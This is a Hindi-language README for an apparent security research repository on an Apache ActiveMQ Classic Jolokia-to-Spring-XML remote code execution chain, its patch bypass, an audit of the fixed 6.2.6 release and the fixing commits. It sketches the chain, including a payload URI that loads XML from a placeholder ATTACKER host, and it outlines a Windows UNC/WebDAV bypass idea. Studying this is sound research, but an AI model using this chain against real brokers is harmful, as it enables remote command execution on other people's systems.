Apache ActiveMQ Classic — RCE अनुसंधान

Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML रिमोट-कोड-निष्पादन श्रृंखला (CVE-2026-34197 और इसका पैच-बायपास CVE-2026-42588) के लिए निजी अनुसंधान संग्रह, साथ ही फिक्स्ड 6.2.6 रिलीज़ का पूर्ण ऑटो-अनुसंधान ऑडिट और Crowdfense के सार्वजनिक बायपास राइटअप के साथ साइड-बाय-साइड तुलना।

सभी शोषण स्थानीय लैब ब्रोकर्स (Docker / self-hosted) के विरुद्ध किया गया। पेलोड प्लेसहोल्डर अटैकर होस्ट का उपयोग करते हैं।

सामग्री

लैब्स के दौरान उपयोग किए गए वेंडर सोर्स ट्री और बाइनरी डिस्ट्रीब्यूशन जानबूझकर बहिष्कृत हैं (वे अपस्ट्रीम हैं, हमारे नहीं)।

एक पंक्ति में भेद्यता

एक प्रमाणित (6.0.0–6.1.1 पर CVE-2024-32114 के माध्यम से अप्रमाणित) Jolokia कॉलर एक क्राफ्टेड डिस्कवरी URI के साथ BrokerView.addNetworkConnector(uri) को आह्वान करता है, जिसका आंतरिक vm://…?brokerConfig=xbean:<url> ब्रोकर को एक अटैकर-नियंत्रित Spring XML लोड करने के लिए बाध्य करता है, जो ब्रोकर सत्यापन से पहले एक ProcessBuilder बीन को तत्काल इंस्टैंशिएट करता है → OS कमांड निष्पादन।

POST /api/jolokia/  →  BrokerView.addNetworkConnector(String)
  →  static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
  →  VMTransportFactory dynamic broker creation  →  XBeanBrokerFactory
  →  ResourceXmlApplicationContext loads Spring XML  →  ProcessBuilder bean  →  RCE

निष्कर्ष

मुख्य बात: तीन निष्कर्ष रूट/XSS तक लाइव-सिद्ध हैं; 6.2.6 ऑडिट एक व्यापक सेट जोड़ता है जो स्रोत-सत्यापित और प्रतिकूल-मूल्यांकित है, परंतु अभी तक लाइव-विस्फोटित नहीं। 6.2.6 के कोई भी अतिरिक्त निष्कर्ष नए अप्रमाणित RCE नहीं हैं — वेंडर ने उन दरवाजों को बंद कर दिया; शेष जोखिम प्राधिकरण और आउटपुट-एन्कोडिंग की ओर स्थानांतरित हो गया।

सिद्ध शोषण श्रृंखला

6.2.6 ऑडिट से नेट-नए (स्रोत-सत्यापित)

दायरे से बाहर — DoS (सूचीबद्ध, मुख्य नहीं)

MQTT QoS ऑर्डिनल AIOOBE (QoS.values()[ordinal], क्रॉस-प्रोटोकॉल, कोई कॉन्फ़िग नहीं) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · OpenWire अनमार्शल में signed-short NegativeArraySizeException · नेगेटिव AMQ_SCHEDULED_REPEAT अमर जॉब।

Crowdfense राइटअप के साथ तुलना

Crowdfense का Apache ActiveMQ RCE Bypass समान श्रृंखला को कवर करता है (वे इसे CVE-2026-34197 के अंतर्गत दर्ज करते हैं; हम बायपास को अपने स्वयं के CVE-2026-42588 के रूप में ट्रैक करते हैं)। दोनों विवरण तीन-परत सुरक्षा पर अभिसरित होते हैं; एकमात्र विचलन परत 2 है।

एक अंतराल: उनकी परत-2 percent-एन्कोडिंग + UNC/WebDAV ट्रिक बिना किसी स्थानीय-राइट प्रिमिटिव के पूर्ण-रिमोट डिलीवरी प्राप्त करती है। जिस क्लासिफायर दोष का यह दुरुपयोग करता है (activemq-spring/Utils.java:123-129, अनडिकोडेड स्ट्रिंग पर एक कच्चा startsWith("file://")) हमारे सटीक स्रोत में मौजूद है — परंतु रिमोट आधा केवल-Windows है (Linux //host/share को स्थानीय पथ के रूप में मानता है), और हमारी लैब Linux थी, इसलिए यह वहाँ प्रयोज्य नहीं था। यह वैसे भी 6.2.6 पर मृत है (VMTransportFactory स्कीम गेट Utils चलने से पहले xbean को अस्वीकार कर देता है)।

अनुवर्ती: एक Windows-होस्टेड 5.19.6 (या कोई भी प्री-5.19.7/6.2.6 बिल्ड) + SMB/WebDAV लिसनर हमें पूर्ण-रिमोट अनुमति-सूची बायपास प्रदर्शित करने देगा — एकमात्र क्षमता जो लेख में है परंतु हमारे एंगेजमेंट ने नहीं दिखाई।

फिक्स (ActiveMQ 6.2.6)

तीन कमिट श्रृंखला को बंद करते हैं: c1b44af11 (पैरेंस के बिना कम्पोज़िट URI सत्यापित करें — parseComposite बिना शर्त + रिकर्स), c2fc7a1d6 (VMTransportFactory स्कीम अनुमति-सूची के माध्यम से डिफ़ॉल्ट रूप से XBeanBrokerFactory को ब्लॉक करें), और be8415f24 (सैंपल-कॉन्फ़िग हार्डनिंग: Jolokia को loopback पर, addNetworkConnector के साथ ऑपरेशन डेनी-सूची)।